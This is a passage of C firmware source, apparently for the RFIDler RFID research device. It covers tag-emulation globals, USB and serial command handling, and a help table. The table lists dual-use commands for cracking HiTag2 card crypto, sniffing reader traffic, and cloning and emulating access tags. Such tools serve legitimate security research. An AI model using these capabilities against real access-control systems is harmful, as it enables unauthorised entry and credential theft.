'0'\r\nBYTE             EMU_SubCarrier_T1;             // Number of Frame Clocks for sub-carrier '1'\r\nunsigned int     EMU_Repeat;                    // Number of times to transmit full data set\r\nBOOL             EMU_Background= FALSE;         // Emulate in the background until told to stop\r\nunsigned int     EMU_DataBitRate;               // Number of Frame Clocks per bit\r\nBYTE             TmpBits[TMP_LARGE_BUFF_LEN];   // Shared scratchpad\r\nBYTE             ReaderPeriod= FALSE;           // reder period flag for analogue display - toggled by reader ISR\r\nBOOL             FakeRead= FALSE;               // flag for analogue sampler to signal it wants access to buffers during read\r\nBOOL             PWD_Mode= FALSE;               // is this tag password protected?\r\nBYTE Password[9]= {0, 0, 0, 0, 0, 0, 0, 0, 0};  // 32 bits as HEX string set with LOGIN\r\n\r\n// globals for RWD commands\r\nBYTE             RWD_State= RWD_STATE_INACTIVE;\r\nunsigned int     RWD_Fc= 0;                                     // field clock in uS\r\nunsigned int     RWD_Gap_Period= 0;                             // length of command gaps in OC5 ticks\r\nunsigned int     RWD_Zero_Period= 0;                            // length of '0' in OC5 ticks\r\nunsigned int     RWD_One_Period= 0;                             // length of '1' in OC5 ticks\r\nunsigned int     RWD_Sleep_Period= 0;                           // length of initial sleep to reset tag in OC5 ticks\r\nunsigned int     RWD_Wake_Period= 0;                            // length required for tag to restart OC5 ticks\r\nunsigned int     RWD_Wait_Switch_TX_RX= 0;                      // length to wait when switching from TX to RX in OC5 ticks\r\nunsigned int     RWD_Wait_Switch_RX_TX= 0;                      // length to wait when switching from RX to TX in OC5 ticks\r\nunsigned int     RWD_Post_Wait= 0;                              // low level ISR wait period in OC5 ticks\r\nunsigned int     RWD_OC5_config= 0;                             // Output Compare Module settings\r\nunsigned int     RWD_OC5_r= 0;                                  // Output Compare Module primary compare value\r\nunsigned int     RWD_OC5_rs= 0;                                 // Output Compare Module secondary compare value\r\nBYTE             RWD_Command_Buff[TMP_SMALL_BUFF_LEN];          // Command buffer, array of bits as bytes, stored as 0x00/0x01, '*' terminated\r\nBYTE             *RWD_Command_ThisBit= RWD_Command_Buff;        // Current command bit\r\n\r\nBOOL stringPrinted;\r\nvolatile BOOL buttonPressed;\r\nvolatile BYTE buttonCount;\r\n\r\nBYTE TmpBuff[NVM_PAGE_SIZE];  // we use this during page erase\r\nBYTE DataBuff[ANALOGUE_BUFF_LEN]; // shared data buffer for external readers etc.\r\nunsigned int DataBuffCount= 0;\r\n\r\nBYTE Interface= INTERFACE_API;       // no menu/prompts by default\r\nBYTE CommsChannel= COMMS_NONE;\r\n\r\nBYTE Sniffstore = 0;\r\n\r\nconst BYTE *OnOff[]= {\r\n    \"Off\",\r\n    \"On\"\r\n};\r\n\r\nconst BYTE *HighLow[]= {\r\n    \"Low\",\r\n    \"High\"\r\n};\r\n\r\n/** P R I V A T E  P R O T O T Y P E S ***************************************/\r\nstatic void InitializeSystem(void);\r\nBYTE ProcessIO(void);\r\nvoid USBCBSendResume(void);\r\nvoid UserInit(void);\r\nvoid MakeUSBSerialNumberFromEMAC(void);\r\nvoid parse_BL_packet(void);\r\nBYTE ProcessSerialCommand(char *command);\r\nunsigned int read_adc(void);\r\nvoid slog(BYTE *message1, BYTE *message2);\r\n\r\n// for bootloader\r\nunsigned int * SoftwareKey = NULL;\r\n\r\nint main(void)\r\n{\r\n    InitializeSystem();\r\n\r\n    // execute autorun command\r\n    if(*RFIDlerConfig.AutoRun)\r\n    {\r\n        mLED_User_On();\r\n        ProcessSerialCommand(RFIDlerConfig.AutoRun);\r\n        mLED_User_Off();\r\n    }\r\n\r\n    while(42)\r\n    {\r\n        if(USB_BUS_SENSE && (USBGetDeviceState() == DETACHED_STATE))\r\n            USBDeviceAttach();\r\n\r\n        // check for input\r\n        ProcessIO();\r\n    }//end while\r\n}//end main\r\n\r\n\r\n/********************************************************************\r\n * Function:        static void InitializeSystem(void)\r\n *\r\n * PreCondition:    None\r\n *\r\n * Input:           None\r\n *\r\n * Output:          Nonechar\r\n *\r\n * Side Effects:    None\r\n *\r\n * Overview:        InitializeSystem is a centralize initialization\r\n *                  routine. All required USB initialization routines\r\n *                  are called from here.\r\n *\r\n *                  User application initialization routine should\r\n *                  also be called from here.                  \r\n *\r\n * Note:            None\r\n *******************************************************************/\r\nstatic void InitializeSystem(void)\r\n{\r\n\r\n    BYTE tmp;\r\n\r\n    AD1PCFG = 0xFFFF;\r\n\r\n    SYSTEMConfigPerformance(GetSystemClock());\r\n\r\n    // timers\r\n    // timer1 is used by SmartCard libs\r\n    CloseTimer1();\r\n    // timer2 is used by SmartCard and SD Card and rfidler clock routines for RFID carrier\r\n    CloseTimer2();\r\n    // timer4 is used by RFID reader ISR\r\n    CloseTimer4();\r\n    // FIXME: move timer 2 to timer 3 so clock can run concurrently with SD or smartcard\r\n    // FIXME: convert timer45 to 16 bit so we can free up timer4\r\n    //OpenTimer45(T45_ON | T45_SOURCE_INT | T45_PS_1_1, 0xFFFFFFFF);\r\n    // timer5 is used for high level protocol timers that need uS. prescaler of 16 gives us up to 10,000 uS which is plenty\r\n    // note that TIMER_PRESCALER must be set to match!\r\n    OpenTimer5(T5_ON | T5_SOURCE_INT | T5_PS_1_16, 0xFFFFFFFF);\r\n    // set to highest priority so our protocol timings are always accurate (use 6 or less everywhere else)\r\n    // FIXME: this doesn't actually work - test by starting clock and doing 'timer-test'\r\n    mT5SetIntPriority(7);\r\n\r\n    MakeUSBSerialNumberFromEMAC();\r\n\r\n    USBDeviceInit();\r\n    \r\n    // make sure usb is up so we can log startup\r\n#if defined(USB_INTERRUPT)\r\n    if(USB_BUS_SENSE && (USBGetDeviceState() == DETACHED_STATE))\r\n            USBDeviceAttach();\r\n#endif\r\n        \r\n    // give USB time to attach etc.\r\n    Delay_us(3000000);\r\n\r\n    // load stored config\r\n    loadconfig();\r\n\r\n    UserInit();\r\n}\r\n\r\nvoid UserInit(void)\r\n{\r\n    unsigned int i, count;\r\n    \r\n    //Initialize all of the debouncing variables\r\n    buttonCount = 0;\r\n    buttonPressed = FALSE;\r\n    stringPrinted = TRUE;\r\n\r\n    // gpio\r\n    Init_GPIO();\r\n\r\n    // leds\r\n    mLED_All_On();\r\n\r\n    // uart\r\n    UART3Init();\r\n\r\n    // wiegand / clock & data\r\n    wiegand_set_pullups(TRUE);\r\n\r\n    // ISO 7816 SmartCard\r\n    SC_Initialize();\r\n\r\n    // coil in reader mode by default\r\n    COIL_MODE_READER();\r\n\r\n    // initalise ADC for rolling sample buffer\r\n    //init_adc();\r\n\r\n    // LCR\r\n    LCR_CALIBRATE= LOW;\r\n\r\n    //// RTC\r\n    //// only enable this code if you've installed the 32.768KHz crystal at X2\r\n    //// otherwise code will hang while waiting for clock to initialise\r\n    //RtccOutputEnable(FALSE);\r\n    //RtccInit();\r\n    //while(RtccGetClkStat() != RTCC_CLK_ON)\r\n    //    ;               \r\n    //// set default time/date - Wednesday Jan 1st 2014, 00:00:01\r\n    //RtccSetTimeDate(0x00000100, 0x14010103);\r\n\r\n    mLED_All_Off();\r\n\r\n    // auto-set initial tag type\r\n    tag_set(RFIDlerConfig.TagType);\r\n}\r\n\r\n\r\n/********************************************************************\r\n * Function:        void ProcessIO(void)\r\n *\r\n * PreCondition:    None\r\n *\r\n * Input:           None\r\n *\r\n * Output:          None\r\n *\r\n * Side Effects:    None\r\n *\r\n * Overview:        This function is a place holder for other user\r\n *                  routines. It is a mixture of both USB and\r\n *                  non-USB tasks.\r\n *\r\n * Note:            None\r\n *******************************************************************/\r\nBYTE ProcessIO(void)\r\n{   \r\n    BYTE numBytesRead= 0, i;\r\n    static BYTE commandbytes = 0;\r\n    static BYTE command_buffer[COMMS_BUFFER_SIZE];\r\n    static BYTE history[MAX_HISTORY][COMMS_BUFFER_SIZE], history_pos= 0, history_peak= 0, going_up= FALSE;\r\n\r\n    //Blink the LEDs according to the comms device status\r\n    BlinkCommsStatus();\r\n    \r\n    if(CommsChannel == COMMS_USB)\r\n    {\r\n        // User Application USB tasks\r\n        if((USBDeviceState < CONFIGURED_STATE)||(USBSuspendControl==1))\r\n            return;\r\n\r\n        if (mUSBUSARTIsTxTrfReady())\r\n            numBytesRead= getsUSBUSART(Comms_In_Buffer, 64);\r\n    }\r\n\r\n    // check for serial input\r\n    if (UART3IsPressed())\r\n    {\r\n        CommsChannel= COMMS_UART;\r\n        numBytesRead= GetUART3Message(Comms_In_Buffer, SERIAL_TIMEOUT);\r\n    }\r\n\r\n    if (numBytesRead != 0)\r\n    {\r\n        for (i = 0; i < numBytesRead; i++)\r\n        {\r\n            switch (Comms_In_Buffer[i])\r\n            {\r\n\r\n                // backspace or delete\r\n                case 0x08:\r\n                case 0x7f:\r\n                    numBytesRead= 0;\r\n                    if(commandbytes == 0)\r\n                    {\r\n                        // beep\r\n                        UserMessage(\"%s\", \"\\a\");\r\n                        break;\r\n                    }\r\n                    // erase character\r\n                    UserMessage(\"%s\", \"\\b \\b\");\r\n                    command_buffer[commandbytes--]= '\\0';\r\n                    break;\r\n\r\n                // enter\r\n                case 0x0A:\r\n                case 0x0D:\r\n                    command_buffer[commandbytes] = '\\0';\r\n                    going_up= FALSE;\r\n                    // don't put empty commands in history\r\n                    if(!strlen(command_buffer))\r\n                        return ProcessSerialCommand(command_buffer);\r\n                    // shuffle history down if we already reached and used the last entry\r\n                    if(history_pos == MAX_HISTORY - 1 && strlen(&history[MAX_HISTORY - 1][0]))\r\n                        for(i= 1 ; i < MAX_HISTORY ; ++i)\r\n                            strcpy(&history[i - 1][0], &history[i][0]);\r\n                    strcpy(&history[history_pos][0], command_buffer);\r\n                    if(history_pos > history_peak)\r\n                       history_peak= history_pos;\r\n                    if(history_pos < MAX_HISTORY - 1)\r\n                        history_pos++;\r\n                    commandbytes = 0;\r\n                    numBytesRead = 0;\r\n                    return ProcessSerialCommand(command_buffer);\r\n                    break;\r\n\r\n                // TODO: fix history - memory corruption?\r\n                // arrow key?\r\n                case 0x1B:\r\n                    // get the next two bytes, overwriting current byte - should be '[' + command\r\n                    // fixme: make this work with serial input as well\r\n                    if(CommsChannel == COMMS_USB)\r\n                    {\r\n                        while(!USBUSARTIsTxTrfReady())\r\n                            CDCTxService();\r\n                        while(!getsUSBUSART(Comms_In_Buffer, 2))\r\n                            ;\r\n\r\n                        if(Comms_In_Buffer[0] != '[')\r\n                            break;\r\n                    }\r\n\r\n                    // always clear previous\r\n                    while(commandbytes)\r\n                    {\r\n                        commandbytes--;\r\n                        UserMessage(\"%s\", \"\\b \\b\");\r\n                    }\r\n                    command_buffer[0]= '\\0';\r\n                    numBytesRead= 0;\r\n\r\n                    // UP\r\n                    if(Comms_In_Buffer[1] == 'A')\r\n                    {\r\n                        if(history_pos == 0)\r\n                            UserMessage(\"%s\", \"\\a\");\r\n                        else\r\n                        {\r\n                            // first time we hit up we should show current line, not decrement\r\n                            if(going_up)\r\n                                --history_pos;\r\n                            else\r\n                               going_up= TRUE;\r\n                        }\r\n                        strcpy(command_buffer, &history[history_pos][0]);\r\n                    }\r\n\r\n                    // DOWN\r\n                    if(Comms_In_Buffer[1] == 'B')\r\n                    {\r\n                        going_up= FALSE;\r\n                        if(history_pos > history_peak || history_pos == MAX_HISTORY - 1)\r\n                            UserMessage(\"%s\", \"\\a\");\r\n                        else\r\n                            strcpy(command_buffer, &history[++history_pos][0]);\r\n                    }\r\n\r\n                    commandbytes= strlen(command_buffer);\r\n                    UserMessage(\"%s\", command_buffer);\r\n\r\n                    break;\r\n                     \r\n                default:\r\n                    if(commandbytes == TMP_SMALL_BUFF_LEN || Comms_In_Buffer[i] < ' ' ||  Comms_In_Buffer[i] > '~')\r\n                    {\r\n                        // beep\r\n                        UserMessage(\"%s\", \"\\a\");\r\n                        numBytesRead= 0;\r\n                        break;\r\n                    }\r\n                    Comms_Out_Buffer[i] = command_buffer[commandbytes++] = Comms_In_Buffer[i];\r\n                    break;\r\n            }\r\n        }\r\n\r\n        if(Interface == INTERFACE_CLI)\r\n        {\r\n            Comms_Out_Buffer[numBytesRead]= '\\0';\r\n            UserMessage(\"%s\", Comms_Out_Buffer);\r\n        }\r\n    }\r\n\r\n    CDCTxService();\r\n}\t\t//end ProcessIO\r\n\r\n/*******************************************************************\r\n * Function:        void USBCBCheckOtherReq(void)\r\n *\r\n * PreCondition:    None\r\n *\r\n * Input:           None\r\n *\r\n * Output:          None\r\n *\r\n * Side Effects:    None\r\n *\r\n * Overview:        When SETUP packets arrive from the host, some\r\n * \t\t\t\t\tfirmware must process the request and respond\r\n *\t\t\t\t\tappropriately to fulfill the request.  Some of\r\n *\t\t\t\t\tthe SETUP packets will be for standard\r\n *\t\t\t\t\tUSB \"chapter 9\" (as in, fulfilling chapter 9 of\r\n *\t\t\t\t\tthe official USB specifications) requests, while\r\n *\t\t\t\t\tothers may be specific to the USB device class\r\n *\t\t\t\t\tthat is being implemented.  For example, a HID\r\n *\t\t\t\t\tclass device needs to be able to respond to\r\n *\t\t\t\t\t\"GET REPORT\" type of requests.  This\r\n *\t\t\t\t\tis not a standard USB chapter 9 request, and \r\n *\t\t\t\t\ttherefore not handled by usb_device.c.  Instead\r\n *\t\t\t\t\tthis request should be handled by class specific \r\n *\t\t\t\t\tfirmware, such as that contained in usb_function_hid.c.\r\n *\r\n * Note:            None\r\n *******************************************************************/\r\nvoid USBCBCheckOtherReq(void)\r\n{\r\n    USBCheckCDCRequest();\r\n}//end\r\n\r\n\r\n\r\n/*******************************************************************\r\n * Function:        void USBCBInitEP(void)\r\n *\r\n * PreCondition:    None\r\n *\r\n * Input:           None\r\n *\r\n * Output:          None\r\n *\r\n * Side Effects:    None\r\n *\r\n * Overview:        This function is called when the device becomes\r\n *                  initialized, which occurs after the host sends a\r\n * \t\t\t\t\tSET_CONFIGURATION (wValue not = 0) request.  This \r\n *\t\t\t\t\tcallback function should initialize the endpoints \r\n *\t\t\t\t\tfor the device's usage according to the current \r\n *\t\t\t\t\tconfiguration.\r\n *\r\n * Note:            None\r\n *******************************************************************/\r\nvoid USBCBInitEP(void)\r\n{\r\n    //Enable the CDC data endpoints\r\n    CDCInitEP();\r\n}\r\n\r\n/********************************************************************\r\n * Function:        void USBCBSendResume(void)\r\n *\r\n * PreCondition:    None\r\n *\r\n * Input:           None\r\n *\r\n * Output:          None\r\n *\r\n * Side Effects:    None\r\n *\r\n * Overview:        The USB specifications allow some types of USB\r\n * \t\t\t\t\tperipheral devices to wake up a host PC (such\r\n *\t\t\t\t\tas if it is in a low power suspend to RAM state).\r\n *\t\t\t\t\tThis can be a very useful feature in some\r\n *\t\t\t\t\tUSB applications, such as an Infrared remote\r\n *\t\t\t\t\tcontrol\treceiver.  If a user presses the \"power\"\r\n *\t\t\t\t\tbutton on a remote control, it is nice that the\r\n *\t\t\t\t\tIR receiver can detect this signalling, and then\r\n *\t\t\t\t\tsend a USB \"command\" to the PC to wake up.\r\n *\t\t\t\t\t\r\n *\t\t\t\t\tThe USBCBSendResume() \"callback\" function is used\r\n *\t\t\t\t\tto send this special USB signalling which wakes \r\n *\t\t\t\t\tup the PC.  This function may be called by\r\n *\t\t\t\t\tapplication firmware to wake up the PC.  This\r\n *\t\t\t\t\tfunction will only be able to wake up the host if\r\n *                  all of the below are true:\r\n *\t\t\t\t\t\r\n *\t\t\t\t\t1.  The USB driver used on the host PC supports\r\n *\t\t\t\t\t\tthe remote wakeup capability.\r\n *\t\t\t\t\t2.  The USB configuration descriptor indicates\r\n *\t\t\t\t\t\tthe device is remote wakeup capable in the\r\n *\t\t\t\t\t\tbmAttributes field.\r\n *\t\t\t\t\t3.  The USB host PC is currently sleeping,\r\n *\t\t\t\t\t\tand has previously sent your device a SET \r\n *\t\t\t\t\t\tFEATURE setup packet which \"armed\" the\r\n *\t\t\t\t\t\tremote wakeup capability.   \r\n *\r\n *                  If the host has not armed the device to perform remote wakeup,\r\n *                  then this function will return without actually performing a\r\n *                  remote wakeup sequence.  This is the required behavior, \r\n *                  as a USB device that has not been armed to perform remote \r\n *                  wakeup must not drive remote wakeup signalling onto the bus;\r\n *                  doing so will cause USB compliance testing failure.\r\n *                  \r\n *\t\t\t\t\tThis callback should send a RESUME signal that\r\n *                  has the period of 1-15ms.\r\n *\r\n * Note:            This function does nothing and returns quickly, if the USB\r\n *                  bus and host are not in a suspended condition, or are \r\n *                  otherwise not in a remote wakeup ready state.  Therefore, it\r\n *                  is safe to optionally call this function regularly, ex: \r\n *                  anytime application stimulus occurs, as the function will\r\n *                  have no effect, until the bus really is in a state ready\r\n *                  to accept remote wakeup. \r\n *\r\n *                  When this function executes, it may perform clock switching,\r\n *                  depending upon the application specific code in \r\n *                  USBCBWakeFromSuspend().  This is needed, since the USB\r\n *                  bus will no longer be suspended by the time this function\r\n *                  returns.  Therefore, the USB module will need to be ready\r\n *                  to receive traffic from the host.\r\n *\r\n *                  The modifiable section in this routine may be changed\r\n *                  to meet the application needs. Current implementation\r\n *                  temporary blocks other functions from executing for a\r\n *                  period of ~3-15 ms depending on the core frequency.\r\n *\r\n *                  According to USB 2.0 specification section 7.1.7.7,\r\n *                  \"The remote wakeup device must hold the resume signaling\r\n *                  for at least 1 ms but for no more than 15 ms.\"\r\n *                  The idea here is to use a delay counter loop, using a\r\n *                  common value that would work over a wide range of core\r\n *                  frequencies.\r\n *                  That value selected is 1800. See table below:\r\n *                  ==========================================================\r\n *                  Core Freq(MHz)      MIP         RESUME Signal Period (ms)\r\n *                  ==========================================================\r\n *                      48              12          1.05\r\n *                       4              1           12.6\r\n *                  ==========================================================\r\n *                  * These timing could be incorrect when using code\r\n *                    optimization or extended instruction mode,\r\n *                    or when having other interrupts enabled.\r\n *                    Make sure to verify using the MPLAB SIM's Stopwatch\r\n *                    and verify the actual signal on an oscilloscope.\r\n *******************************************************************/\r\nvoid USBCBSendResume(void)\r\n{\r\n    static WORD delay_count;\r\n    \r\n    //First verify that the host has armed us to perform remote wakeup.\r\n    //It does this by sending a SET_FEATURE request to enable remote wakeup,\r\n    //usually just before the host goes to standby mode (note: it will only\r\n    //send this SET_FEATURE request if the configuration descriptor declares\r\n    //the device as remote wakeup capable, AND, if the feature is enabled\r\n    //on the host (ex: on Windows based hosts, in the device manager \r\n    //properties page for the USB device, power management tab, the \r\n    //\"Allow this device to bring the computer out of standby.\" checkbox \r\n    //should be checked).\r\n    if(USBGetRemoteWakeupStatus() == TRUE) \r\n    {\r\n        //Verify that the USB bus is in fact suspended, before we send\r\n        //remote wakeup signalling.\r\n        if(USBIsBusSuspended() == TRUE)\r\n        {\r\n            USBMaskInterrupts();\r\n            \r\n            //Clock switch to settings consistent with normal USB operation.\r\n            USBSuspendControl = 0; \r\n            USBBusIsSuspended = FALSE;  //So we don't execute this code again, \r\n                                        //until a new suspend condition is detected.\r\n\r\n            //Section 7.1.7.7 of the USB 2.0 specifications indicates a USB\r\n            //device must continuously see 5ms+ of idle on the bus, before it sends\r\n            //remote wakeup signalling.  One way to be certain that this parameter\r\n            //gets met, is to add a 2ms+ blocking delay here (2ms plus at \r\n            //least 3ms from bus idle to USBIsBusSuspended() == TRUE, yeilds\r\n            //5ms+ total delay since start of idle).\r\n            delay_count = 3600U;        \r\n            do\r\n            {\r\n                delay_count--;\r\n            }while(delay_count);\r\n            \r\n            //Now drive the resume K-state signalling onto the USB bus.\r\n            USBResumeControl = 1;       // Start RESUME signaling\r\n            delay_count = 1800U;        // Set RESUME line for 1-13 ms\r\n            do\r\n            {\r\n                delay_count--;\r\n            }while(delay_count);\r\n            USBResumeControl = 0;       //Finished driving resume signalling\r\n\r\n            USBUnmaskInterrupts();\r\n        }\r\n    }\r\n}\r\n\r\n/*******************************************************************\r\n * Function:        BOOL USER_USB_CALLBACK_EVENT_HANDLER(\r\n *                        int event, void *pdata, WORD size)\r\n *\r\n * PreCondition:    None\r\n *\r\n * Input:           int event - the type of event\r\n *                  void *pdata - pointer to the event data\r\n *                  WORD size - size of the event data\r\n *\r\n * Output:          None\r\n *\r\n * Side Effects:    None\r\n *\r\n * Overview:        This function is called from the USB stack to\r\n *                  notify a user application that a USB event\r\n *                  occured.  This callback is in interrupt context\r\n *                  when the USB_INTERRUPT option is selected.\r\n *\r\n * Note:            None\r\n *******************************************************************/\r\nBOOL USER_USB_CALLBACK_EVENT_HANDLER(int event, void *pdata, WORD size)\r\n{\r\n    switch( event )\r\n    {\r\n        case EVENT_TRANSFER:\r\n            CommsChannel= COMMS_USB;\r\n            break;\r\n        case EVENT_CONFIGURED: \r\n            USBCBInitEP();\r\n            break;\r\n        case EVENT_EP0_REQUEST:\r\n            USBCBCheckOtherReq();\r\n            break;\r\n        default:\r\n            break;\r\n    }\r\n    return TRUE; \r\n}\r\n\r\nunsigned int read_adc(void)\r\n{\r\n    unsigned int offset;\r\n\r\n    // clear interrupt so we read\r\n    mAD1ClearIntFlag();\r\n\r\n    // wait for ADC to finish reading\r\n    while ( !mAD1GetIntFlag() )\r\n        ;\r\n    offset = 8 * ((~ReadActiveBufferADC10() & 0x01));\r\n    return ReadADC10(offset);\r\n}\r\n\r\nint starts_with(const BYTE *str,const BYTE *pre)\r\n{\r\n\r\n    size_t lenpre = strlen(pre),\r\n           lenstr = strlen(str);\r\n    if(lenpre == 0) return 1;\r\n    \r\n    return lenstr < lenpre ? 0 : strncmp(pre, str, lenpre) == 0;\r\n}\r\n\r\n/******************************************************************\r\n * Function:        void show_usage(char *command)\r\n *\r\n * PreCondition:    None\r\n *\r\n * Input:           char *command - input command\r\n * Output:          None\r\n *\r\n * Side Effects:    None\r\n *\r\n * Overview:        This function displays usage info.\r\n *                  If the input command is blank, help about\r\n *                  all available commands is shown. If the input\r\n *                  command is e.g. TA, help about all commands\r\n *                  starting with TA is shown.\r\n *                  Similar case for \"HELP TA\".\r\n * Note:            None\r\n *******************************************************************/\r\nvoid show_usage(char *command)\r\n{\r\n    static BYTE* commands[] = {\r\n        \"ANALOGUE[N] <# OF SAMPLES>                                   Sample raw coil ([N]o local clock) & output in XML (HEX)\\r\\n\",\r\n        \"APDU <CLA+INS+P1+P2[+LC+DATA][+LE]>                          Transmit (HEX) ISO-7816-4 APDU to SmartCard. Return is [DATA]+<SW1>+<SW2>\\r\\n\",\r\n        \"API                                                          Switch to API mode\\r\\n\",\r\n        \"ASK <HEX UID> <FC> <RATE> <REPEAT>                           Emulate ASK, Field Clock in uS/100, Data Rate in RF/n\\r\\n\",\r\n        \"ATR                                                          Get Answer To Reset from SmartCard\\r\\n\",\r\n        \"AUTH [HEX KEY] [BLOCK]                                       Authenticate in CRYPTO mode\\r\\n\",\r\n        \"AUTOPOT                                                      Auto-Detect ideal POT setting(s)\\r\\n\",\r\n        \"AUTORATE                                                     Auto-Detect data rate\\r\\n\",\r\n        \"AUTORUN [OFF | COMMAND [ARGS]]                               Set/Show startup command\\r\\n\",\r\n        \"AUTOTAG                                                      Auto-Detect TAG type\\r\\n\",\r\n        \"BINTOHEX <BIN>                                               Show BINARY as HEX string\\r\\n\",\r\n        \"BL                                                           Reboot in BOOTLOADER mode\\r\\n\",\r\n        \"CLI                                                          Switch to CLI mode\\r\\n\",\r\n        \"COIL <HIGH|LOW>                                              Set emulator coil output HIGH/LOW\\r\\n\",\r\n        \"CONFIG                                                       Show current NVM config\\r\\n\",\r\n        \"CONVERT <TAGTYPE>                                            Convert VTAG to TAGTYPE\\r\\n\",\r\n        \"CLOCKH <HZ>                                                  Enable H/W TOGGLE CLOCK (timings in Hz, max 250,000)\\r\\n\",\r\n        \"CLOCKP <PW> <PERIOD>                                         Enable H/W PWM CLOCK (timings in uS/100, max 53,687,091)\\r\\n\",\r\n        \"CLOCKT <PERIOD>                                              Enable H/W TOGGLE CLOCK (timings in uS/100, max 53,687,091)\\r\\n\",\r\n        \"CLONE [HEX KEY|PWD]                                          Copy Virtual TAG to TAG (may require auth/login)\\r\\n\",\r\n        \"COPY [TAGTYPE] [HEX KEY|PWD]                                 Copy TAG (and optionally convert) to Virtual TAG (may require auth/login)\\r\\n\",\r\n        \"DEBUG [1-4]                                                  Toggle DEBUG line state (no argument to SHOW current states)\\r\\n\",\r\n        \"DEBUGOFF <0-4>                                               DEBUG off (LOW) (0 for ALL)\\r\\n\",\r\n        \"DEBUGON <0-4>                                                DEBUG on (HIGH) (0 for ALL)\\r\\n\",\r\n        \"DETECT                                                       Detect external clock with READER coil\\r\\n\",\r\n        \"DOOR <CLOSE|OPEN>                                            Close or Open DOOR RELAY\\r\\n\",\r\n        \"DUMP <START BLOCK> [END BLOCK]                               Read and view data block(s) (may require auth/login)\\r\\n\",\r\n        \"EMU <UID>                                                    One-shot emulate UID with current TAG config\\r\\n\",\r\n        \"EMULATOR [BG]                                                Continuously emulate VTAG [optionally in the BackGround]\\r\\n\",\r\n        \"ENCODE <UID> [TAGTYPE]                                       Show raw HEX UID or create VTAG for encoded UID\\r\\n\",\r\n        \"EXAMPLES                                                     Show some emulation examples\\r\\n\",\r\n        \"FSK <HEX UID> <FC> <RATE> <SUB0> <SUB1> <REPEAT>             Emulate FSK, Field Clock in uS/100, Data Rate in RF/n,\\r\\n\\\r\n                                                                      Sub Carriers 0/1 in RF/n\\r\\n\",\r\n        \"FREQUENCY                                                    Show resonant frequency of coil\\r\\n\",\r\n        \"HELP                                                         Show this help\\r\\n\",\r\n        \"HEXTOBIN <HEX>                                               Show HEX as BINARY string\\r\\n\",\r\n        \"HITAG2-CRACK <NR/PRN> <AR/SECRET>                            Crack HiTag2 card crypto (SNIFF-PWM first)\\r\\n\",\r\n        \"HITAG2-KEYSTREAM <NR/PRN> <AR/SECRET>                        Retrieve HiTag2 card crypto keystream (SNIFF-PWM first)\\r\\n\",\r\n        \"HITAG2-READER [KEY] [S]                                      Reader mode for crypto authenticated HiTag2 operations - S stores to NVRAM\\r\\n\",\r\n        \"HITAG2-CLEARSTOREDTAGS                                       Clears the HiTag2 tags from NVRAM\\r\\n\",\r\n        \"HITAG2-COUNTSTOREDTAGS                                       Displays the number of HiTag2 tags stored in NVRAM\\r\\n\",\r\n        \"HITAG2-LISTSTOREDTAGS [START] [END]                          Displays the stored tags from START to END\\r\\n\",\r\n        \"LOAD                                                         Load config from NVM\\r\\n\",\r\n        \"LED <1-6>                                                    Toggle LED\\r\\n\",\r\n        \"LEDOFF <0-6>                                                 LED off (0 for ALL)\\r\\n\",\r\n        \"LEDON <0-6>                                                  LED on (0 for ALL)\\r\\n\",\r\n        \"LOGIN [PWD] [BLOCK]                                          Authenticate in PASSWORD mode\\r\\n\",\r\n        \"PING                                                         Keepalive - prints 'RFIDler'\\r\\n\",\r\n        \"PINS                                                         Show wiring diagram (alias: WIRES WIRING)\\r\\n\",\r\n        \"POTS                                                         Show POT wiper settings\\r\\n\",\r\n        \"POTINC <H|L> <1-255>                                         Increment POT\\r\\n\",\r\n        \"POTDEC <H|L> <1-255>                                         Decrement POT\\r\\n\",\r\n        \"POTSET[V][NV] <H|L> <0-255>                                  Set [Volts][Non Volatile] POT wiper\\r\\n\",\r\n        \"PSK1 <HEX UID> <FC> <RATE> <SUB> <REPEAT>                    Emulate PSK1, Field Clock in uS/100, Data Rate in RF/n,\\r\\n\\\r\n                                                                      Sub Carrier in RF/n\\r\\n\",\r\n        \"PWM <FC> <SLEEP> <WAKE> <PW0> <PW1> <GAP> <TXRX> <RXTX>      Set PWM parameters for RWD commands, Field Clock in uS/100, timings in FCs\\r\\n\",\r\n        \"READ <START BLOCK> [END BLOCK]                               Read and store data block(s) (may require auth/login)\\r\\n\",\r\n        \"READER                                                       Go into READER mode (continuously acquire UID)\\r\\n\",\r\n        \"REBOOT                                                       Perform soft reset\\r\\n\",\r\n        \"RTC                                                          Show Real Time Clock\\r\\n\",\r\n        \"RWD <BINARY>                                                 Send binary command/data\\r\\n\",\r\n        \"SAVE                                                         Save current config to NVM\\r\\n\",\r\n        \"SELECT [UID]                                                 Send SELECT command\\r\\n\",\r\n        \"SET BIPHASE <ON|OFF>                                         Set BiPhase encoding\\r\\n\",\r\n        \"SET BITS <BITS>                                              Set number of data bits\\r\\n\",\r\n        \"SET FC <PERIOD>                                              Set Field Clock in uS/100\\r\\n\",\r\n        \"SET INVERT <ON|OFF>                                          Set data inversion\\r\\n\",\r\n        \"SET MANCHESTER <ON|OFF>                                      Set Manchester encoding\\r\\n\",\r\n        \"SET MOD <ASK|FSK|PSK1>                                       Set modulation scheme\\r\\n\",\r\n        \"SET PSK <QUALITY>                                            Set minimum PSK pulse width in uS\\r\\n\",\r\n        \"SET RATE <RATE>                                              Set Data Rate in RF/n (FC/bit)\\r\\n\",\r\n        \"SET REPEAT <REPEAT>                                          Set emulation transmission repetitions\\r\\n\",\r\n        \"SET SUB0 <RATE>                                              Set Sub Carrier 0 data rate in RF/n (FC/bit)\\r\\n\",\r\n        \"SET SUB1 <RATE>                                              Set Sub Carrier 1 data rate in RF/n (FC/bit)\\r\\n\",\r\n        \"SET SYNCBITS <BITS>                                          Set number of SYNC bits\\r\\n\",\r\n        \"SET SYNC<0-3> <HEX>                                          Set SYNC byte 0-3\\r\\n\",\r\n        \"SET TAG <TYPE>                                               Set parameters appropriate for TAG TYPE\\r\\n\",\r\n        \"SET VTAG <TYPE>                                              Set Virtual TAG TYPE\\r\\n\",\r\n        \"SNIFFER                                                      Go into SNIFFER mode (continuously sniff UID)\\r\\n\",\r\n        \"SNIFF-PWM [MIN GAP] [MIN PULSE] [MESG GAP]                   Sniff PWM on external clock with READER coil. Values in uS (default 12/0/0).\\r\\n\",\r\n        \"SNIFF-PWM <C|S|L>                                            Sniff PWM (HiTag2 mode) to NVRAM - CLEAR, STORE, LIST\\r\\n\",\r\n        \"STOP                                                         Stop any running clocks\\r\\n\",\r\n        \"TAGS                                                         Show known TAG TYPES\\r\\n\",\r\n        \"TCONFIG                                                      Show TAG's config block\\r\\n\",\r\n        